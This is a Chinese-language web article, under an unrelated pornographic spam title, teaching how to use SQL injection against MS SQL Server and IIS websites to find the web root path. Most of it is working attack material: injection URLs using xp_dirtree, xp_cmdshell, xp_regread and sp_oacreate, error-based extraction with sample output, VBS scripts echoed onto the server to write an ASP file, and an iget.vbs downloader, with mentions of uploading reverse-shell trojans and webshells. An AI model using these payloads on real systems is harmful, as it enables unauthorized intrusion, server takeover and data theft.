国产宅男网站在线|亚洲A级性爱免费视频|亚洲中精品级在线|午夜福利AA毛

  • <dd id="gf5jf"><th id="gf5jf"></th></dd>

    <cite id="gf5jf"><label id="gf5jf"></label></cite>
  • <div id="gf5jf"><listing id="gf5jf"></listing></div>
    學(xué)習(xí)啦 > 學(xué)習(xí)電腦 > 電腦安全 > 網(wǎng)絡(luò)安全知識 > SQL注入如何取得網(wǎng)站的路徑

    SQL注入如何取得網(wǎng)站的路徑

    時間: 若木632 分享

    SQL注入如何取得網(wǎng)站的路徑

      以下是OMG小編為大家收集整理的文章,希望對大家有所幫助。

      如果網(wǎng)站只開了80端口,你會發(fā)現(xiàn)下面的方法是比較有用的

      其中用的方法幾乎都不是我發(fā)現(xiàn)的,文總包括一些注入時的個人經(jīng)驗和技巧

      方法可以說有4種(現(xiàn)在已知的)

      第一種方法:

      這個是<<怪異的SQL注入>>中介紹的方法

      利用sqlserver的xp_dirtree,好的我們先來將一下方法,然后再說其優(yōu)劣處(在原文的基礎(chǔ)上作了點補充)

      建立表

      語句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--

      返回:正常的信息!說明建表成功!繼續(xù)!

      (建的比原文的大一點,因為我遇過名子很長的文件,刪除了那個id,因為沒有什么用)

      語句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:' --

      返回:正常信息。說明寫入C盤的所有目錄成功了!爽!接下來就是取表了!暴它出來。(好像只有暴這種方法了)

      語句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

      返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07

      將 varchar 值 '@Inetpub'轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。

      再依次爆出表中的目錄名稱!

      語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

      dirs where paths not in( '@Inetpub'))--

      返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07

      將 varchar 值 'test'轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。

      再依次爆出表中的目錄名稱!

      好我們繼續(xù)

      語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

      dirs where paths not in( '@Inetpub','test'))--

      返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07

      將 varchar 值 'haha'轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。

      再依次爆出表中的目錄名稱!

      好了,你應(yīng)該知道怎么做了吧,哈哈,就是把得到的表名添到那個括號里,有多少就放多少吧,

      一點技巧:

      有時候你會發(fā)現(xiàn)當(dāng)輸入類似

      http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

      時不是顯示出錯,而是網(wǎng)頁顯示正常

      暈了吧,別緊張哈

      看看0<>(select top 1 paths from dirs) 說明返回是一個數(shù)字,

      哈哈,測試一下看看是多少吧

      100>(select top 1 paths from dirs)

      返回正常

      哈哈,用這種大于小于的方法很快就能猜出了

      好我們繼續(xù)

      比如當(dāng)出現(xiàn)

      59=(select top 1 paths from dirs)

      返回正常,

      ok,說明名字是59

      輸入如下

      http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

      dirs where paths not in( '59'))--

      記得帶上引號喲

      下面的方法就和原來的一樣的了

      還有一個問題就是

      有時候用上面的方法輸入59時,發(fā)現(xiàn)下一次的文件夾還是59

      這個是怎么回事情呢?

      呵呵,不知道你有沒有注意過059和59是一樣的?

      就是這個原因了,哈哈,

      http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

      dirs where paths not in( '059'))--

      發(fā)現(xiàn)顯示下一個文件夾名字了,ok

      優(yōu)缺點分析:

      優(yōu)點就是所有的sqlserver用戶都可以使用,因為xp_dirtree適用權(quán)限PUBLIC,

      缺點是顯示的是目錄下的所有文件夾的名字,而且排列好像是沒有什么順序的,總之在好幾千好幾萬個文件夾里找你想要的文件夾是痛苦的.

      而且你知道了有那個文件夾也不能保證在根目錄下,實在是痛苦的一件事情呀,很多時候是靠運氣和耐力.

      祝你成功

      方法二:

      利用xp_cmdshell

      哈哈,這個大家一定很熟悉了吧,我就簡單說一下

      建立表

      語句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--

      返回:正常的信息!說明建表成功!繼續(xù)!

      (建的比原文的大一點,因為我遇過名子很長的文件,刪除了那個id,因為沒有什么用

      語句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_cmdshell 'dir c: /B/D' --

      返回:正常信息。說明寫入C盤的所有目錄成功了!這里用了dir c: /B/D,哈哈,不知道/B/D什么作用就試驗試驗看

      語句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

      返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07

      將 varchar 值 '@Inetpub'轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。

      再依次爆出表中的目錄名稱!

      語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

      dirs where paths not in( '@Inetpub'))--

      返回:Microsoft OLE DB Provider for SQL Server 錯誤 80040e07

      將 varchar 值 'test'轉(zhuǎn)換為數(shù)據(jù)類型為 int 的列時發(fā)生語法錯誤。

      再依次爆出表中的目錄名稱!

      方法同上,就不說了

      有時候我們也可以用下面的兩個擴展來干些事情

      1)我們可以利用xp_availablemedia來獲得當(dāng)前所有驅(qū)動器,并存入dirs表中:

      5 ;insert dirs exec master.dbo.xp_availablemedia;--

      我們可以通過查詢temp的內(nèi)容來獲得驅(qū)動器列表及相關(guān)信息

      (2)我們可以利用xp_subdirs獲得子目錄列表,并存入dirs表中:

      5 ;insert into dirs exec master.dbo.xp_subdirs 'c:' ;--

      優(yōu)缺點分析:

      很明顯了,這樣就不會出現(xiàn)xp_dirtree那種所有目錄都放在一起的情況了,只會顯示一級目錄,找起來方便多了.

      缺點也很明顯,只有sa有這個權(quán)限,也有可能管理員刪除了這個擴展(畢竟太強大了).

      方法三:

      這種方法很好

      下面這個是原文

      想到了使用adsutil.vbs程序,我是這樣執(zhí)行的

      a';exec master..xp_cmdshell 'cmd /c cscript c:inetpubadminscripsadsutil.vbs enum w3svc/1/root>a.txt';--

      是不是很長啦通過它我們可以把iis里面第一個虛擬web站點的設(shè)置情況(當(dāng)然包括它所在的實際目錄咯)

      導(dǎo)入到a.txt中

      對于a.txt的實際位置默認當(dāng)然是c:winntsystem32,其實這都不是問題,不過遇到管理員把adsutil.vbs

      刪了或是放到別

      的地方我們就沒辦法了(不可能自已用echo 命令寫一個吧)

      第二步:用echo命令寫下面的代碼到c:中,很多嗎也不算吧

      .....xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject")>c:read.vbs';--

      .....xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell")>>c:read.vbs'

      ;--

      .....

      -------------------read.vbs---------------------------------

      set fso1=createobject("scripting.filesystemobject")

      Set WshShell = Wscript.createObject("Wscript.Shell")

      spa=WshShell.Environment("process")("windir")

      set fil =fso1.opentextfile(spa & "system32aa.txt")

      do while not fil.atendofstream

      nr=fil.readline

      if left(nr,4)="Path" then

      pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)

      exit do

      end if

      loop

      set fil1 =fso1.opentextfile(pa &"dd.asp",2,true)

      fil1.writeline ""

      ---------------cut here-------------------------------------

      第三步:當(dāng)然就是執(zhí)行read.vbs,這樣我們可以把aa.txt中的內(nèi)容讀出來找到web站點的實際路徑

      然后寫一個叫dd.asp的文件在web站的根目錄中,能否成功試試就知道咯

      執(zhí)行http://x.x.x.x/dd.asp

      返回:xxx

      哈哈,的確是好方法,

      不過原文好像有點問題

      就是

      set fil =fso1.opentextfile(spa %2B "system32aa.txt")

      set fil1 =fso1.opentextfile(pa%2B"dd.asp",2,true)

      兩句提交時會出錯

      于是我們想到了加號,和&的功能相同

      還有就是寫點什么東西到dd.asp呢?寫入pa,哈哈

      哈哈,改成了

      -------------------read.vbs---------------------------------

      set fso1=createobject("scripting.filesystemobject")

      Set WshShell = Wscript.createObject("Wscript.Shell")

      spa=WshShell.Environment("process")("windir")

      set fil =fso1.opentextfile(spa "system32aa.txt")

      do while not fil.atendofstream

      nr=fil.readline

      if left(nr,4)="Path" then

      pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)

      exit do

      end if

      loop

      set fil1 =fso1.opentextfile(pa "dd.asp",2,true)

      fil1.writeline pa

      ---------------cut here--------------------------------------

      因為用瀏覽器提交時 號被轉(zhuǎn)換成了空格,所以在提交的時候還應(yīng)該把

      變成%2B,好了,應(yīng)該可以了,如下

      -------------------read.vbs---------------------------------

      set fso1=createobject("scripting.filesystemobject")

      Set WshShell = Wscript.createObject("Wscript.Shell")

      spa=WshShell.Environment("process")("windir")

      set fil =fso1.opentextfile(spa %2B "system32aa.txt")

      do while not fil.atendofstream

      nr=fil.readline

      if left(nr,4)="Path" then

      pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)

      exit do

      end if

      loop

      set fil1 =fso1.opentextfile(pa %2B "dd.asp",2,true)

      fil1.writeline pa

      ---------------cut here--------------------------------------

      如果發(fā)現(xiàn)1沒有的話,我們可以該成2,3,4...........

      a';exec master..xp_cmdshell 'cmd /c cscript c:inetpubadminscripsadsutil.vbs enum w3svc/2/root>a.txt';--

      但是這種方法只能在windows2000下使用,因為2003下新建的網(wǎng)站所在地址不是按照1234來排列的,好像是隨機生成的,個人比較過幾個2003下的

      地址,沒有發(fā)現(xiàn)什么規(guī)律.

      優(yōu)缺點分析:

      同上xp_cmdshell不是每一個用戶都可以用的!還有一個問題是adsutil文件不一定存在,或者不一定在那個路徑上,當(dāng)然如果你原意的話你可以用

      echo寫一個(哈哈,老多老多行的喲),另外的一個問題是,如果主機上有很多站點怎么辦?我遇到過一個有九個站點的主機,膽識只有第8個是有用

      的,暈了吧,很難有人有嗯那個耐性會堅持到那么多的,早就崩潰了或許.還有就是不能在2003下用!

      不過說實話,這個方法的確是一個好方法

      方法四:

      這個方法是要飯的提到的,通過xp_regread等從注冊表里讀出路徑

      以下推薦,獲取網(wǎng)頁路徑(通過存儲過程達到對注冊表的讀取):

      利用內(nèi)置存儲過程 xp_regread(讀取注冊表鍵值,權(quán)限public):

      語句:http://www.xxx.com/list.asp?classid=1;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test

      varchar(20) exec master..xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=

      SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots , @value_name= / , values=@test OUTPUT insert into paths

      (path) values(@test)

      IIS的默認路徑的在注冊表中HKEY_LOCAL_MACHINE SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots

      利用爆字段將數(shù)據(jù)庫的值讀出來:

      語句:http://www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable)--返回: Microsoft OLE DB Provider for

      ODBC Drivers 錯誤 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 E:www,,201 轉(zhuǎn)換為數(shù)據(jù)類型為 int 的

      列時發(fā)生語法錯誤。

      這說明網(wǎng)頁目錄在E:www,接下來也可以利用FSO直接寫入ASP木馬

      如果得不到網(wǎng)頁目錄,怎么辦呢?前提你要猜到網(wǎng)站是否使用默認WEB,或者使用域名作為WEB。

      declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:

      inetpubwwwrootmkwebdir.vbs -w "默認 Web 站點" -v "e","e:"'

      在默認的WEB站點下創(chuàng)建一個虛擬目錄E,指向E:盤下。

      declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:

      inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e browse'

      給虛擬目錄e加上瀏覽屬性不錯吧。給自己開虛擬服務(wù)。想那些網(wǎng)頁目錄路徑,頭都快破了。這下給自己一個天開眼了。那傳WEBSHELL利用MS

      SQL為我們的工作告了一段落了,接下來工作應(yīng)該由你來了。

      哈哈,方法不錯喲,通過注冊表來讀,方便快捷!

      優(yōu)缺點分析:

      優(yōu)點當(dāng)然是方便快捷了。缺點是只能察看默認的iis站點的路徑,如果不再默認的站點那就無能為力了(我用regsnape跟蹤過),如果在2003下

      那就是連默認的站點路徑也不顯示了!痛苦中

      順便說兩句,實際上除了找網(wǎng)站路徑的方法外,還是有別的方法來繼續(xù)入侵的,比如說通過tftp來上傳反彈木馬,或者是通過寫一個iget.vbs來下載你想要的東東

      iget.vbs代碼如下:

      ---------start----------

      Set xPost = createObject("Microsoft.XMLHTTP")

      xPost.Open "GET",LCase(WScript.Arguments(0)),0

      xPost.Send()

      Set sGet = createObject("ADODB.Stream")

      sGet.Mode = 3

      sGet.Type = 1

      sGet.Open()

      sGet.Write(xPost.responseBody)

      sGet.SaveToFile LCase(WScript.Arguments(1)),2

      ----------end-----------

      對此文的在補充:

      近日發(fā)現(xiàn)對毛主席大人的指示理解不夠深刻,特在此表示補充

      實際上上面的各種方法根本就不需要比較了xp_dirtree是最好的,只要這一種方法就夠了

      只是因為我當(dāng)初太..............

      今日將xp_dirtree的秘密再挖一下

      好,我們exec master..xp_dirtree'd:/test'

      假設(shè)我們在test里有兩個文件夾test1和test2在test1里又有test3

      結(jié)果顯示

      subdirectory depth

      test1 1

      test3 2

      test2 1

      哈哈發(fā)現(xiàn)沒有那個depth就是目錄的級數(shù)

      ok了,知道怎么辦了吧

      http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--

      http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:' --

      http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-

      只要加上id=1,就是第一級目錄 。

    75374